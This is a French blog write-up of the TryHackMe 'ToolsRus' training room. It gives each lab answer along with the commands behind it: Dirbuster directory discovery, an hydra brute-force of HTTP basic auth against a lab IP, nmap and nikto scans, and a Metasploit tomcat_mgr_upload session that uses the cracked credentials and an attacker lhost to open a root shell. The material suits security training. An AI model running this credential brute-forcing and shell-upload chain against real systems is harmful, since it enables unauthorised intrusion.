S’abonner
Connexion
Please login to comment
0 Commentaires
Ce write-up concerne la “room” ToolRus de TryHackMe. Elle est dediée à l’utilisation d’outil permettant la collecte d’information qui pourrait amener à prendre le contrôle de la machine. Les outils qui seront utilisés :
1. Question 1 : What directory can you find, that begins with a “g”?
Réponse : guidelines
Pour répondre à cette question, on peut configurer et utiliser Dirbuster afin qu’il brute force les répertoires et les noms de fichiers. Dans la mesure où la box est guidé est qu’il n’y a pas d’indication particulière on peut considérer que le serveur web en question se trouve sur le port 80.
2. Question 2 : Whose name can you find from this directory?
Réponse : bob
Pour obtenir la réponse, il suffit de se rendre sur la page web du répertoire trouvé précédemment http://10.10.230.175/guidelines
3. Question 3 : What directory has basic authentication?
Réponse : protected
De la même manière que pour la réponse 1, il faut reprendre le scan de Dirbuster qui est toujours en cours et voir si de nouveau répertoires ont été trouvé.
4 Question 4 : What is bob’s password to the protected part of the website?
Réponse : bubbles
Pour répondre a cette question, il faut utiliser hydra qui va “brute forcer” l’authentification avec cette ligne de commande :
hydra 10.10.230.175 -l bob -P /usr/share/wordlists/rockyou.txt http-get /protected/
5. question 5 : What other port that serves a webs service is open on the machine?
Réponse : 1234
Il faut utiliser nmap pour trouver la réponse. J’ai utilisé l’option -T5 et -p- afin de scanner tous les ports tcp/ip rapidement. Comme on peut le voir dans la capture suivant, le scan a pris un moins d1 minute.
nmap -T5 -p- 10.10.230.175
6. Question 6 : Going to the service running on that port, what is the name and version of the software?
Réponse : Apache Tomcat/7.0.88
A nouveau, on utilise nmap mais avec l’option -sC et -sV uniquement sur le port 1234
nmap -sC -sV -p 1234 10.10.230.175
7. Question 7 : How many documentation files did Nikto identify? Use Nikto with the credentials you have found and scan the /manager/html directory on the port found above.
Réponse : 5
Comme indiqué dans la question, j’utilise Nitko, avec cette ligne de commande.
nikto -id bob:bubbles -h http://10.10.230.175:1234/manager/html
L’option -id permettra à Nikto de s’authentifier et de scanner le site en tant de bob.
8. Question 8 : What is the server version (run the scan against port 80)?
Réponse : Apache/2.4.18
Même utilisation avec nmap que la question 6 sur le port 80 :
nmap -sC -sV -p 80 10.10.230.175
9. question 9 : What version of Apache-Coyote is this service using?
Réponse : 1.1
On connait déjà la réponse, avec le résultat du scan de la question 6.
10. Question 10 : What user did you get a shell as? Use Metasploit to exploit the service and get a shell on the system.
Réponse : root
Avant d’arriver à passer root, il faut d’abord trouvé lexploit qui permettra d’obetnir un shell sur le système. Pour cela il faut faire une recherche sur Google avec les mots clés suivant tomcat 7 manager exploitdb metasploit .
Il faut ensuite lancer Metasploit et chercher le bon exploit dans la console. Voici la liste des commandes afin d’obtenir les droits root sur le système
msfconsole
msf6 > search tomcat 7 upload
msf6 > use 15
msf6 exploit(multi/http/tomcat_mgr_upload) > set httppassword bubbles
msf6 exploit(multi/http/tomcat_mgr_upload) > set httpusername bob
msf6 exploit(multi/http/tomcat_mgr_upload) > set rhosts 10.10.230.175
msf6 exploit(multi/http/tomcat_mgr_upload) > set rport 1234
msf6 exploit(multi/http/tomcat_mgr_upload) > set lhost 10.8.76.250
msf6 exploit(multi/http/tomcat_mgr_upload) > show options
msf6 exploit(multi/http/tomcat_mgr_upload) > run